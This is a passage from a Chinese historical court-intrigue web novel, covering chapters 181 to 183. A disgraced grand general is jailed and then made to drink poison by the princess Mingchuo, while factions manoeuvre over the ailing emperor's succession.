桓湛扯住了他的袖子不肯放:“中尉!”
怎么可能牵扯不到桓宜华?那都是她的骨肉啊!方才天不亮桓湛就被惊醒,起来看见桓宜华披头散发地冲进来就哭,一声一声地求父兄救命。桓湛糊里糊涂地听了半天,才知道夜里出大事了。
谢运连夜进宫,状告大将军袁增赃罪杀人、枉法残害、抗拒监察、胁迫官员等数条大罪。在陛下面前,谢运交代得明明白白。他父亲找来的那位前任盐官当堂翻供之后就被袁增派人送离建康,谢运带人在城郊把人截下,重新录了一份口供。
就是此人交代了袁增如何指使宋询行不法之事。他们还借着平阳王身份尊贵,不敢有人查他,竟在王府后院灭口销赃。平阳王徇私枉法,蔽匿奸恶,这个朋党之罪,也是逃不掉了。
已经数月不理朝政的陛下当即下旨,召崔挺领兵去封禁了平阳王府。
执金吾卫闯进去的时候,竟然真的抓住了袁增父子的现行。崔挺让人从后院的树下挖出了一具已经开始腐烂的尸体,快到天亮时,井下又捞上来一个小孩的尸身——王府中竟然都没有人发现,捞上来的时候,连敬夫人都没忍住失了态。
袁增一言不发,但宋询全招了,说树下的尸体是消失的人证之一,那孩子,则是原兵曹尚书家里的幼女。
消息连夜送进宫,陛下的旨意下得更快。袁增、袁綦父子,平阳王的属官们,还有宋询及其党羽全部下狱,等有司再审。平阳王妃袁氏仍居王府,夫妇二人一起幽禁,不许出门半步。袁煦虽不在,但陛下还是命崔挺一并前往捉拿。
陛下病了太久了,让所有人都以为他马上就要咽气了。但他轻轻地一抬手指,建康的天就变了。昨日还满门忠勇的袁氏,今日已经全都成了阶下囚,连垂髫幼子都没有放过。
桓湛快要给他跪下了:“崔中尉!”
“哎呀,你这……”崔挺为难地看着他,半晌,左右看了看,把桓湛拉远了一些,压低了声音,“你回去劝劝清河君夫人,先别着急。我进平阳王府的时候看得真真的,袁綦跟他父亲都亮了刀了,我瞧着此事与他并无干系,当有分辩的余地。到底还有长公主在……”
桓湛看着他,眼睛眨了眨,似是还在消化。愣了半刻,将信将疑似的:“当真?”
崔挺就不重复了,这些事情他也不能保证。
“仲宁什么都不知道。”桓湛又补了一句,突然压低了声音,又道,“是谢运算计了他。”
他昨夜没有看出来,但是听到妹妹说是谢运连夜进宫告的状,袁綦又在平阳王府被当场抓获,他就什么都明白了。
长公主当初举荐谢运随军,就是看中他善谋。他果然善谋。
崔挺不置可否,只道:“反正我看见的是什么,就到陛下面前说什么。”
桓湛很执着:“请中尉行个方便,准我一同面君。昨夜是我和袁綦、谢运一道喝的酒。”
崔挺一时没说话,但神情复杂地看了桓湛一眼。
平阳王被圈禁,恐怕并不只是被袁增连累。崔挺冷眼看着,陛下自小刚毅果决,当断则断。他既出手料理朝局,就会处理得干干净净。今夜之变,必然是陛下已经选定了建安王,才会突然动手。
长公主与袁氏的关系太紧密了,若袁綦有罪,不知道会不会牵涉到长公主,眼下也不知道她心里是什么滋味。桓湛的心情或许同样复杂,但说到底,桓宜华已经和离,赢的还是桓氏。
“好。”崔挺点了头,“你随我来。”
冬日里的阳光总有一种蒙了尘的感觉,照得不透亮,但看着就暖。明绰举起了灭烛铃,把含清宫里最后一盏蜡烛熄掉,转过头,看见萧盈撑着自己的太阳穴,闭了眼睛,不知道是睡着了还是只是在养神。
他不应该熬夜的,但整整一夜他都没有合眼。明绰既担心他,却也同时忍不住对他生气。昨晚萧盈本想让明绰回去,明绰没答应,他也没有强求。可是他下令把袁綦一起下狱,甚至连桓宜华的孩子都没有放过的时候,也丝毫没有顾及明绰的劝阻。
他甚至下令圈禁了秧儿。
明绰咽下了要去劝他上床休息的话,转身走到了外殿。谢运还在候着,见到她出来,马上站起来向她行礼:“长公主……”
明绰扫了他一眼:“你为何穿着仲宁的氅衣?”
谢运愣了一下,急忙从肩上解下了那件大氅,恭敬地端在手里还给长公主:“臣昨夜与袁将军在南大街喝酒,走时不小心穿错了。”
明绰冷冷地看着他,没伸手去接。
昨夜她也在旁边听得很清楚了,谢运说他救下那前任盐官之后,就激起了袁增对他的杀心。宋询跟他不是一天两天,早已被他察觉。他今次来报,就是因为再次遇袭,侥幸逃脱才着急进宫。
但是他看起来好好的,不像跟人动过手的样子。明绰听到执金吾卫回来报,说袁綦也在平阳王府,就知道他是怎么“不小心”了。
“仲宁把你当朋友。”明绰提醒他什么似的。
谢运躬身站着,在她面前低着头,道:“刑不及嗣,陛下从不滥杀,仲宁没做错什么,不会被株连的。”
明绰没有指出袁氏现在满门都被下了狱的事实。她知道谢运说得没错,袁增所犯毕竟不是大逆之罪,“刑不及嗣”是大雍律定下的。抓他的儿孙,主要是起一个震慑袁氏党羽的作用,以免生变。等案情明了,袁增本人受刑,家人还是要放的——有她在,袁綦就算有所牵涉,最后呈上来的定谳也必定说他无罪。
明绰沉默着,终于伸过手,接过了袁綦那件氅衣。
“谁让你牵扯到平阳王的?”她问得很轻,像是怕萧盈在里面听见了。谢运的身子微微僵了僵,没敢答这话。
他早就跟长公主献过策,袁增既然与平阳王休戚与关,不如一竿子一起打死,还能为建安王的即位扫除障碍。可是长公主当时就否决了,甚至声色俱厉地警告了他,不允许他动到平阳王头上。谢运虽不敢说,但心里难免有了不同的想法。
她又舍不得自己的夫君,又舍不得自己的侄儿。有这么多的机会能置袁增于死地,她却始终瞻前顾后……谢运怕她是真的,但同时也忍不住想,女人到底是女人,女人就是成不了事。
明绰好像已经看透了他沉默背后的真实想法,目光有若实质地钉在他身上。谢运没忍住背上发了点汗,脑子转得飞快,马上道:“臣今夜本就是来与长公主请示的,但陛下……”
“撒谎。”明绰轻声细语地打断了他,谢运立刻闭上了嘴,一个字都不敢说了。
谢维若要进宫求见,都会先问明长公主是不是在上阳宫,绝对不会到含清宫里来。明绰很确定,昨夜谢运来递信的时候,阴青蘅明确地告诉了他长公主在陛下身边,可他还是执意求见,那就是他故意不经过长公主,要把此事直接捅到陛下面前。
“臣……”谢运的头埋得更低,“臣昨夜遇险,心里一时慌了,才……”
明绰笑了笑,没有耐心继续听他编这些话了。
“士甫,你是个聪明人。”明绰把手里的氅衣展开掸了掸,再叠在自己的臂弯里,“可是聪明人最忌讳的,就是把别人都当傻子。”
明绰抬了抬眼,嘴角勾了个讽刺的笑意:“你以为,陛下没看出来你这点儿把戏?”
谢运沉默了一会儿,喉间不自觉地“咕咚”了一声。明绰轻轻地歪了歪头,气定神闲地看着他无法克制的恐惧。
他还是年轻冒进,若昨夜换谢维来,绝对不会开口把平阳王拖下水。稷儿是谢氏的血脉,萧盈本就忌讳,只是实在没有别的选择了,只能捏着鼻子接受。谢运不说避嫌,反而明目张胆地要为建安王扫清障碍,他是真以为萧盈病得没力气收拾谢家了。
谢运深吸了一口气,稳住了情绪,小声道:“陛下到底还是圈禁了平阳王,不是吗?”
明绰眯了眯眼睛,那一瞬间竟有些想收回方才的话。谢运不是聪明人,他是个无药可救
,自作聪明的蠢货。
但她没再说什么,任之从殿外进来,看见长公主在外间,便先过来通知了她一声:“崔中尉和桓将军到了。”
听到桓湛来了,谢运便露出了一丝微妙的异样神色。桓湛来了,那他在陛下面前说昨夜遇袭、侥幸逃脱之事,就要露馅了。明绰不动声色地看在了眼里,但选择了当没看见。
明绰点了点头:“让他们进来吧,陛下在等。”
任之应了一声,本以为长公主会一起进去,但她臂弯里抱着一件黛绿的氅衣,抬脚就要往外走。任之非常意外:“长公主?”
“哦,”明绰脚下顿了顿,“我这就去廷尉府了。”
任之抿了抿嘴,没敢应声。长公主面上虽然平淡,但这话是带着气在说的。为了陈缙之死,陛下有些介怀。其实这也是人之常情,他若明说,长公主是肯好好认错的。可他又不说,昨夜还摆出了乾纲独断的架势,那长公主也是有脾气的。就是为难了他在中间传话。
任之硬着头皮,明知故问:“长公主去廷尉做什么?”
明绰抱了抱手里的氅衣,皮笑肉不笑地看了他一眼:“你就告诉他,我夫君无罪,我要去接我夫君。”
第182章
明绰到廷尉狱的时候,毫不意外地在看见了被拦在外面的桓宜华,身后跟着她府上的下人,手里捧着好几件棉衣。苻氏和李氏也在,哭得不成样子。桓宜华原本尚算平静,站在那里同廷尉狱的门吏交涉,看到明绰来了,一句话都还没说得出来,已经哽得眼圈通红。
明绰握了握她的手,也没说什么安慰的话,只转头对门吏说了两个字:“开门。”
那门吏一句话都不敢说,立刻掏钥匙开门。外面守着的是执金吾卫,虽不敢拦长公主,但看到她身后这么多人浩浩荡荡的,脸上也颇有为难之色。桓宜华当机立断,马上让苻氏和李氏留在外面等着。
执金吾卫刚放行,廷尉卢徽就扶着冠一路奔出来相迎,满脸都是还没搞清楚状况的焦虑和茫然。
大将军这种人物,就算是犯案入狱,也不是他们廷尉管得了的,应该送去御史台狱。但是御史中丞新丧,现在御史台还没个能管事的,崔挺连声招呼也不打就送他们这儿来了。
袁氏祖孙三代人且不说了,光是平阳王府那些属官就好几十号人呢,卢徽都不知道如何安置,见到长公主来如见救星。
但明绰才不来教他怎么做事,先把那些棉衣棉服的捧了出来。卢徽见状,立刻在前引路,先带着她们去了关押着袁家人的囚室。袁博早已听见了母亲的声音,哭叫了一声“娘”。
卢徽赶紧让人把门打开,桓宜华走进去,一把抱住了孩子。明绰停留在了门口,远远地和袁綦对视了一眼。她本想勉力笑一笑,但好像没有成功。
除了这件氅衣,她什么都没带,还好桓宜华全都想到了。桓宜华草草地安抚了幼子两句,就赶紧拿出厚衣服来给袁识穿上——他显然是在睡梦中被叫起来带走的,连件像样的衣服都没穿。他的兄弟们也没好到哪里去,桓宜华一个个地给他们递衣服,最后才到袁煦面前。
他根本顾不上冷,只是着急问桓宜华:“韶音……?”
“韶音没事。”桓宜华压低了声音回答他,安抚的口吻,“我去过平阳王府了,她眼下只是出不来,但别的都好……”
“你见到她了?”
桓宜华哽了哽,避开了他的眼神。当然没有。但桓湛毕竟在执金吾卫中多年,门口守着的军侯卖她个面子,跟王妃传个话还是允许的。“一切都好”是袁韶音托人带出来的,她在夫君身边,至少还是在自己家里,她更担心家里,让母亲赶紧想办法。
“你们顾好自己,”桓宜华伸出手,像过去一样,给袁煦整了整衣襟,声音里已经没了哭腔,冷静而笃定,“外面的事情有我。”
袁煦看起来并没有被安慰到的样子。明绰不动声色地观察着他的表情,他看起来很焦躁,也很茫然,好像真的不知道父亲到底做了什么,才让陛下突然这样发难。相比之下,袁綦就沉静得多了,倒像是兄弟两个一贯的性子颠倒过来了。
明绰突然想起来,这不是他第一次进廷尉府大牢了。想到这个,她竟真心地笑了出来。袁綦看她笑了,自己也勾了勾嘴角,自嘲似的苦笑。
他是唯一一个衣着齐整的,看起来好像也不怎么冻得厉害。囚室虽阴冷,毕竟没有风,身上那件本该是谢运的氅衣早被他解下来,让最小的两个孩子当被子似的裹着。明绰臂弯里搭着的那件有点儿多余了,她便没有上前打搅。
明绰侧过脸问卢徽:“大将军呢?”
卢徽躬身答话:“大将军被单独关押着……”
明绰转身就走:“带我去。”
卢徽跟在她身后,小声地给她指路。袁增被关押在最里面,只有一扇极窄的铁门,封得密不透风。门上挂的锁由卢徽亲自保管着钥匙,刚推开的时候,里面只有一团浓得化不开的黑,等到明绰眼睛适应了,才看到囚室深处有个人。
明绰嘱咐卢徽:“你去给大将军准备些饭食来。”
这会儿还没到囚犯们用饭的时间,但长公主既然说了,卢徽便立刻低了头,应声而去。明绰这才走了进去,铁门在她背后虚掩,完全不担心袁增会趁机夺门而出。
袁增原本是面壁而坐,见她进来,很给面子地转过了身。原来这斗室里也是有光的,但只是最便宜的油灯,引线上一点火光当真只有豆大,什么都照不清。
袁增把灯摆到自己面前,请她坐下,态度称得上是彬彬有礼:“怠慢长公主了。”
明绰屈膝跪坐,顺手将袁綦的氅衣铺在了自己的膝上,袁增低头看了一眼,明显也认出了儿子的衣物。他脸上看不出来在想些什么,明绰也懒得猜,低头理了理宽袖,问他:“大将军在这里一切都好?”
袁增笑了一声,他进来还不超过半日,谈不上好不好:“难为长公主关心。”
“你做的这些事,伯彦和仲宁都不知道么?”
“我若说他们不知情,长公主会信吗?”袁增顿了顿,又道,“陛下会信吗?”
明绰没有正面回答这个问题,反而歪了歪头,看着他的眼睛:“有的时候我真的不知道,你到底算不算一个好父亲。”
父亲滥用职权,中饱私囊,袁煦还不好说,袁綦肯定是不知道的。他从前那个横冲直撞的性子,让他知道了还不知道要捅出多大的篓子来。
但袁增为了掩盖罪行,做的这些杀人灭口的事情,多半连袁煦都不知道,他们兄弟两个更没有插手过。
明绰觉得矛盾的地方就在这里。袁增无疑是很爱这两个儿子的,当年他不过刚刚被擢升为平荆中郎将,就觉得袁煦配得上一个公主。袁綦被打压了两年,他也是抓住一切机会为儿子筹谋——他甚至也不是时时刻刻都那么利益熏心的一个人,袁煦与桓氏结亲之后被人背后说了好几年,到袁綦谈婚论嫁时,他就选择了“没什么用”的楚家。
他很少夸赞自己的儿子,但这些年明绰冷眼看着,每每有人提起袁氏一门两虎将,袁增眼里总是有笑意的。袁綦凯旋,封安西侯那一天,袁增在太极殿上,视线就没从儿子身上挪开过。
可更多的时候,他也根本不在意自己的行为会如何伤害他们。
囚室外突然传来了脚步声,卢徽送来了一碗稀粥,放在了袁增面前。明绰用眼神示意他出去,卢徽便又退了下去。袁增看了看那碗粥,又看了看明绰,见她从袖中取出了一个小小的瓷瓶,然后当着他的面,把那一小瓶黑褐色的粉末倒进了碗里。
袁增的牙关无声地咬紧了。
明绰把瓷瓶收了起来,有些为难地看着面前的碗。黑褐色的粉末结了块,没完全化开。这粥太稀了,卢徽也没送个汤勺来。明绰只好笑了笑:“大将军见谅。”
袁增勉强保持住面上的平静:“是陛下让你来的?”
明绰不置可否地笑了笑,袁增让她笑得心里完全没了底,脸上的一条筋肉抽搐了一下,突然往前倾了倾身子:“陛下怎么会派你来下手?让仲宁情何以堪!你骗我……你骗我!”
“他有什么堪不堪的?”明绰听起来毫不在意,“你死了,他才能活啊。”
袁增脸上的表情像是被她打了一巴掌,下唇颤着,说不出话来。
这不完全是明绰在诈他。她让任之传的那话是故意跟萧盈赌气,但是萧盈只要听到她去了廷尉府,就肯定知道她要做什么了。到现在也没有人来拦,那就是萧盈的默许。
杀袁增,保住袁煦、袁綦兄弟还在其次,更重要的是保住平阳王。
圈禁只是一时的,但无疑是个明确的信号,陛下不会选平阳王了。执金吾卫重兵把守,任何人也都别想借着平阳王的名义作乱。萧盈要的是皇位能够平稳地交接,并不是真的要把秧儿怎么样。若是任由有司彻查袁增,治宋询的罪,很难不连累平阳王。
明绰想到这里,心里就沉得难受。是她当初没有把敬漪澜说的话当回事,现在宋询当真犯下了死罪,什么都救不了他了。她至少要保住敬漪澜的另一个孩子。
于公于私,袁增都必须立死。
袁增大概在听到崔挺率军前来的时候就意识到了这一点,脸上并无多少震惊意外的神色。可心里总还存着一丝希望,还想再挣扎一番,无论如何不愿束手待毙。明绰耐心地等着,看着他在无声中反复掂
量。
历来重犯知错就死,往往能换来为君者的宽容,尤其萧盈并不是一个刻薄寡恩的君王。当年谢太后犯的是谋逆的大罪,但她一死,陛下还是还了她太后的哀荣。
看在袁家的军功份上,让一切罪责都随着袁增的死而终结,不再祸及家人,是很有可能的事情。陛下已经派长公主来了,他若还不知好歹,那么等待他们兄弟两的会是什么下场?伯彦已经失了圣心了,桓宜华离家之后他就一蹶不振。袁增本来还想着,陛下反正活不久了,等到平阳王即位,自然能再为伯彦筹谋……
袁增闭上了眼睛,从眼角坠下了一行泪。
“这么多年了,”明绰适时地叹了一声,“你做的哪一件事,不是为了他们兄弟两个?”
袁增突然笑了一声,睁开眼,利落地端起了面前的碗,仰脖一饮而尽。明绰平静地看他喝完了一碗毒粥,便撑着自己的膝盖起了身,一句话也没再说,转身欲走。
袁增突然在她身后问:“这毒发作得快吗?”
明绰人已经走到了囚室门口,闻言脚下一顿,似是认真想了想,才回过头来。
“快。当年恕颐只挣扎了一会儿断气了。”
袁增睁大了眼睛,难以置信她在暗示什么。明绰也不解释,就让他自己猜。他似是还想否认,验尸都查不出来,证据也早已湮灭,长公主上哪里去找的一样的毒?她怎么知道是什么毒?——但是只是一瞬,他的整张脸就灰败了下来,什么都没说。
最好就是一样的毒,至少给他一个痛快。
明绰轻轻地朝他点了点头:“大将军,安心上路。”
卢徽等在外面,听见这句话脸都白了。但长公主看了他一眼,他便什么都明白了,一言不发,将囚室重新上了锁。
明绰原路回去,桓宜华正跟袁识说话,交代他要照顾几个弟弟。她一进来,袁煦便抬头紧张地看着她。明绰也没跟他多说什么,走到袁綦身边,把一直抱在手里的氅衣展开,踮了踮脚,亲手给他披到了肩上。
“明绰……”袁綦握住了她的手,似是想说什么。
“别担心,”明绰把手抽出来,在他肩上拍了拍,“关几日就放你们出去了,不会有事的。”
袁綦立刻听明白了,眼底顿时红透。袁煦本来还不愿相信,见他这样,当即颓然地跌坐在地。只有他的孩子们还不懂,一声一声问:“父亲?”
袁煦听到这两个字肩膀就塌了下去,沉默而颤抖地落泪。袁綦放开了明绰的手,走到了兄长身边。袁煦揽住他的肩膀,狠狠地在他背上锤了两下。兄弟两个抱在一起,一句话都没有,连哭都不敢出声。桓宜华没忍住别开脸,擦了擦眼泪。
明绰等了片刻才轻声道:“宜华姐姐,走吧。”
袁博不情愿母亲离开,但是看父亲和二叔这个样子,他也不敢哭,无措而焦急地看着母亲,看得桓宜华心如刀绞。
可是出了廷尉狱她还不能痛快地哭一场,苻氏和李氏都在外面等着,同样为了孩子肝肠寸断。桓宜华强忍着宽慰了二人,让她们先回去。但苻氏抹着眼泪,求她也跟着回家。说是家里一遭难,袁增两个年轻的姬妾今早就卷了财物跑了,不少下人有样学样,袁府里已经乱得不像样子了,刘夫人哪有这个本事管家,又气又怕,竟起不来床了……
明绰在旁边听见了,便朝随行的人递了个眼色。侍从宫人立刻会意,上前温声劝慰了两句,嘴上说得软,动作却很坚决,硬是把哭哭啼啼的女人从桓宜华身边拉了开来。
桓宜华这才跟着明绰上了马车。这么一闹,反而顾不得为了博儿哭,只是朝着明绰无力地苦笑。
明绰没忍住问她:“你还管吗?”
桓宜华别过脸,一句话也没说,抬袖擦了擦颊上滚下来的泪。
明绰垂了眼,轻声道:“我派几个人去袁府就是,姐姐,你别管了。”
她只怕桓宜华还是放心不下,方才还听见她对袁煦说“外面的事情有我”。这甚至都谈不上感情,哪怕仅仅是为了夫妻多年的道义,她都很难做到撒手不管。
但桓宜华沉默了很长时间,最终下定了决心似的,只道:“送我去平阳王府吧。”
明绰点了点头。车夫得了令,一扬马鞭,催着马儿拖动车厢,辘辘地顺着长街走远了。
明绰自己没有进平阳王府,眼下局势微妙,她若公然露面,恐怕会把事情弄得更复杂。长公主的马车停在了街巷暗处,但桓宜华下车的时候,手中多了一枚宫中的令牌,门口值守的执金吾卫便没有再阻拦。明绰在车里看着桓宜华进了府,这才放下帘子,转头回宫。
等她回到含清宫的时候,谢运也好,崔挺也好,都已没了踪影。阴青蘅站在殿外就给她把发生了什么汇报完了——桓湛指控谢运,陛下以谢司马为大将军副手为由下令惩处,停职待察。紧跟着桓廊又来求见了陛下,陛下没肯见。但是他亲手写了一份诏书,还让任之取了国玺……
明绰眉间没忍住一跳:“诏书呢?”
阴青蘅给她脱外袍,一边轻声道:“陛下屏退左右,藏起来了。”
诏书肯定是在含清宫里,但没人知道萧盈放哪儿了。
明绰若有所思地点了点头。她看不看的倒也无所谓,除了稷儿还能有谁,不明白他有什么好藏的。要么就是他自知撑不住了,跳过立太子这一步,直接让稷儿即皇帝位,所以要到最后才把这封遗诏拿出来。
明绰压低了声音,又问了一句:“他睡了吗?”
“睡了。”阴青蘅的声音也很低,“本来说要等长公主回来的,实在没撑住……”
明绰就放轻脚步进殿,阴青蘅又最后说了一句:“长公主,谢维进宫了,在上阳宫等着呢。”
为了儿子来奔走了。明绰冷笑了一声,只道:“让他等着。”便进了内殿。
萧盈果然已经睡下了,殿内降着竹帘遮光,灯也都熄了,昏暗的光线像水一样在半空中浮动。明绰轻轻摆了摆头,里面伺候着的宫人们就都无声走了出去。明绰这才蹑手蹑脚地爬到床上,刚躺下,萧盈就伸出手,把她揽入了怀中。
明绰一时不敢动,浑身僵着,看萧盈是不是真醒了。他没睁眼,依偎在明绰身边,呼吸均匀而轻柔地拂在她颈侧,好像真的还睡着。明绰便小心翼翼地伸手,想整理一下被角。此时才听到萧盈轻声问:“袁增处置了?”
明绰“嗯”了一声,萧盈便一声轻笑,也不让她整理好被子,手在她腰上揽得更紧:“你夫君也放出来了?”
他有意把重音落在“你夫君”三个字上。明绰瞪着他,但他懒得睁眼,根本看不见。明绰只好去瞪床顶,没好气道:“我哪敢公然藐视国法?”
萧盈叹了口气:“溦溦,你就是‘国法’。”
明绰又转头看他,这话说得好莫名,她也不知道算什么意思。但是萧盈看起来真的很累,明绰便没有追问,安抚地在他眉心吻了一下:“再睡会儿吧。”
含清殿里重新安静下来,奔流的时间慈悲地暂停,织成一个茧,隔绝了外面的一切声息。整个宫里好像都没有人还醒着,连上阳宫里的人好像都去躲懒了。萧玉襄跑得上气不接下气,也没有人迎,她一路往里面跑,然后在看见殿内的侧脸时猛地刹住了脚。
“太父?”她难以置信地叫了一声。
殿里的人转过了脸,萧玉襄马上闭上了嘴,这不是她的太父,只是长得好像。
谢维已知道她是谁了:“崇安公主。”
小公主看着他:“你是谁啊?”
“我是你的外叔祖。”
萧玉襄“啊”了一声,原来是太父的兄弟。她连忙低头,屈膝给他行了一礼。谢维也颔首还礼,含着笑问她:“你是来找你姑母的吗?”
萧玉襄点了点头。她其实是不愿意来见姑母的,但是今天她去看弟弟,裴贵嫔那里来了个老头,好凶的样子,裴贵嫔都吓哭了,弟
弟也在哭。如今栖凤宫已经绝对进不去了,她想来想去,还是只有姑母能做主,这才跑来了。
她不答话,只是低着头,没一会儿,豆大的眼泪就滚了下来。
谢维吃了一惊,忙温声问她:“怎么了?”
他越是这样和颜悦色的,萧玉襄就哭得越厉害,甚至打起了嗝,只能抽抽噎噎地蹦出来几个字:“裴……裴贵嫔……弟弟……”
谢维看着她哭,眼中一瞬间闪过去了很多小公主看不明白的东西。他突然起了身,走到了萧玉襄面前,蹲下来与她视线平齐,安慰地握住了她的肩。
“来,别着急,”他笑了笑,看起来与谢聿更像了,“和太父慢慢说,弟弟怎么了?”
第183章
平心而论,谢维从来没有因为堂兄而迁怒过谢星娥。
先帝驾崩之后没多久,他就听从谢郯的安排,去了幽州,那时谢星娥还没有出生。等他受命回京执掌执金吾卫,谢星娥已经长大,没在谢府多久,就被接进宫立为了皇后。
他与谢星娥之间打最多交道的时候,就是拂霜被他软禁在上阳宫里那段日子。谢星娥会来求他,能不能让她和姐姐进去看看姑母呀。眼睛一眨,又一眨,嘴里甜甜地叫他阿叔。那个时候她对大人之间的事情还是似懂非懂的,但已经获得了远超过她理解的权力。
谢维一般不会拦小皇后,他若不在,也会让手下的人睁一只眼闭一眼。他父母早亡,自小是在谢郯膝下受教长大的,在后来所有那些事发生之前,他心里都是把他们当成家人的。
拂霜走了以后,他和谢聿也有过一段彼此尽力兄友弟恭的日子,那时是谢聿看朝中无人,不得不抬举他的儿子,来维持谢家的势力。谢维记得,应该就是在谢星娥第一个女儿出生前后,他们来往得很密切,那时谢星娥对他也很客气。
后来那孩子没了。他从幽州回来,被袁增背后捅了一刀,谢聿袖手旁观,兄弟两个之间从渐行渐远走到了近乎反目成仇,就再也没有机会见过谢星娥了。
他快不记得谢星娥长什么样子了,只知道反正不是这个样子。眼前的女人瞪着眼睛,在烛下戒备地看着他。他记得谢星娥应该才刚刚三十岁出头,但是她额上竟然已经有了显眼的白发,发髻也没有好好梳,杂乱地披在肩上。脸上横生出了许多皱纹,尤其是从鼻翼两侧蔓延下来的两条,像是刻在她的皮肤里,让她看上去充满了怨气。
小公主已经睡着了,无知无觉地趴在他的肩头,压得他手臂发沉。谢维感觉自己有点儿抱不动了,但谢星娥看起来并没有要来搭把手的意思。
“你怎么进来的?”谢星娥问他。声音嘶哑,也没有再叫“阿叔”。
谢维挑了挑眉,觉得这个问题没有什么回答的必要。严加看守栖凤宫是长公主的意思,他正好是公主令史,他只消随口说两句,门口的人就会以为是长公主的意思,放他进来很正常。
谢维叹了口气,真的抱不动了。他在家连自己的亲孙儿孙女都没这么长时间地抱过呢。他也没跟谢星娥客气,大步往寝殿里走。谢星娥也没有拦他,只是跟在他身后,神情依然警觉,看着他把女儿放到了床上。动作很轻,还托住了小公主的后脑勺,怕她梦中惊醒。
萧玉襄还是被惊动了,但没醒,皱着眉头抓住了谢维的衣服,脸上还没有没干的泪痕。
她在上阳宫里跟谢维整整哭了半日。谢维极有耐心地反复诱导,终于从她嘴里挖出到底发生了什么。那个把裴舜英和萧稷都吓哭了的老头子应该是桓廊。他得到了平阳王被圈禁的消息,着急进宫来求见,但陛下没见他,他居然私自进了后宫,亲自去见裴贵嫔。
“他见裴贵嫔做什么呢?”谢维问小公主。
萧玉襄那时候已经冷静下来一点,毫不设防地讲了她看到的一切。那个老头子说要让裴贵嫔做皇后,但是裴贵嫔一直哀求那个老头子“别再逼她”。那个老头子就说,让裴贵嫔的父亲做光禄大夫。他还说,陛下已经快油尽灯枯了,到时候拟一封诏书,盖上国玺,就说是遗诏,怎么都比长公主名正言顺……说到这里裴贵嫔就崩溃了,把萧稷抱了出来,说“给你就是”,她不敢。
那老头子看起来特别生气,脸都涨红了,胡子一拉一把,扬着嗓子骂裴贵嫔没用。弟弟被他们吓哭了,哇哇大叫……
萧玉襄说到这里又含了眼泪,抬起头问他:“父皇要死了吗?”
谢维回答不了。卞弘自然是绝不会透露半个字的,但太医署有的是人肯张嘴。他探来的消息是,多半撑不到春来了。
但他不忍心跟一个孩子说这个。谢维安抚住了萧玉襄,派了人去含清宫又请了两遍,但长公主都没有理睬。眼看着天色暗了,谢维才意识到,崇安公主有多么不受宠。
她身边一个跟着的保母、宫人都没有,就这么从这个宫跑到那个宫,天黑了没回去,也没有人来找。谢维问她,该送她回哪里,她就两眼泪汪汪的,又求“太父”,能不能送她去见母后。
谢维停下来,算是解释清楚了他为什么会抱着小公主出现在这里。谢星娥很长时间都没说话,一双眼睛看得谢维心里发毛。他生怕谢星娥要质问小公主怎么会独来独往,可她只是笑了一声,音调诡异地扬了起来:“萧盈要死了?”
谢维一愣。
谢星娥的脸上几乎放出了光,又问了一遍:“我儿子要登基了?”
她不等谢维回答就笑了起来,笑得非常大声。谢维被她吓了一跳,神情像见了鬼。
萧玉襄被她尖利的声音惊醒,在床上揉了揉眼睛,但两人都没有看到她。
“稷儿要登基了……哈哈,是我的稷儿!”谢星娥笑得有些失控,让谢维担心她是不是疯了。然后她又突然止住了笑声,问谢维:“她是镇国长公主了,对不对?”
谢维犹疑着点了点头。
谢星娥又问:“陛下会让她来辅佐新帝?”
谢维这次没有回应。还没到最后一刻,陛下也没那么说过。上次指定的辅政大臣里没有长公主,但是看这小半年来陛下对长公主的依赖和倚重,几乎是必然的——
即使他有别的念头,这辅佐摄政之权长公主既已经捏在手里,就不会再给出去了。
他的沉默已经说明了一切,一片阴霾顿时笼罩起谢星娥的眼睛,她沉默了一会儿,眼中蓄满了泪。
谢维心有不忍,还想安慰她:“星娥,你还是好好地保养身子,等建安王长大了,自会孝敬你的。”
“养不大了……呵,养不大了。”谢星娥不像在跟谢维说话,自言自语似的,一面落泪,一面却在笑,“她肯定会学姑母,不会让稷儿长大了……”
她转过身,当谢维不存在似的,自己坐在了镜前,拿了梳子一遍一遍梳自己披散的长发。谢维在背后看着她,眼中闪过了一丝极为复杂的情绪。但他终究什么也没说,沉默着转了身,离开了栖凤宫。
此时已经快要到宫门宵禁的时刻,再不出宫就是违律了,但谢维还是亲自去了一趟含清宫。阴青蘅进来传话的时候,明绰正坐在床边看奏疏,一只手持卷,一只手让萧盈握着。本已要起身了,萧盈却突然从床上拉住了她的手腕,没让她去。
他熬了一个晚上没睡,整个人就没力气,白日里补了一觉,仍是虚的。明绰叫了他一声,他也不回应,但手就不肯松,摆明了不愿让她去见谢维。明绰只好压低了声音问他:“你是要他进来?”
萧盈好一会儿没动静,然后仍是闭着眼,摇了摇头。他也不想见。
明绰叹了口气,只好让阴青蘅去打发了,让谢维有事明日再来。等阴青蘅下去了,萧盈才终于睁了眼,放开了明绰的手腕。他做了一个想起身的意图,明绰赶紧扶他靠好,半坐起来。仅仅是这样一个动作,好像已经耗尽了他全部的力气。明绰看着他又闭上了眼睛,神色明显是在忍耐着某种不适,眉头就不自觉地打成了一个结。
萧盈在心里默默地数了几息,终于缓过来了,睁开眼看见了明绰的表情,竟还笑了笑,伸手去抚她的眉间:“我没事。”
明绰把他的手从自己眉间拽下来,握在自己手心里,不肯说话。两人沉默了一会儿,还是萧盈先开了口:“袁增既除,谢维也不必留了。”
明绰还是没作声。萧盈说的是实情,她起复谢维,最主要的目的就是为了与袁增斗。但现在要她干脆利落地兔死狗烹,她也有些犹豫。
说当谢维是舅舅吧,小时候又没什么感情,明绰第一次见他,就是他带兵围了上阳宫,胁迫着把她带离了母亲身边。说因此记恨他到如今呢,也不是实情,他毕竟是当年唯一肯站在母后身边的谢家人,也还有乌兰徵的面子。
她不说话,萧盈便歪了歪头,轻声道:“朕可以替你做这个恶人。”
明绰抬眼看他:“你就这么见不得谢家人?”
萧盈便牵了牵嘴角,眼睛里就一个意思:“你说呢?”
但说出口的却是另一句话:“谢维其实比谢聿更像太父。”
这么多年,他能容忍谢聿在中书令的位置上,容忍他的女儿做皇后,却处处有意打压谢维,也不只是因为谢维当年参与谋反参与得更直接。
明绰笑了一声,有意曲解他的话:“他是像太父一样,重感情。”
萧盈轻微地摇了摇头,没有跟她开玩笑的心思,明绰只好也收敛了笑意,盯着他看。萧盈不像是来逼她处置了谢维,她总觉得他有什么话想说。是那种他知道撑不住了,有些事情一定要交代的话。又怕她不想听,又怕再不说就没机会了,所以才会用这样的眼神看着她,看得她一颗心也跟着无声地碎裂。
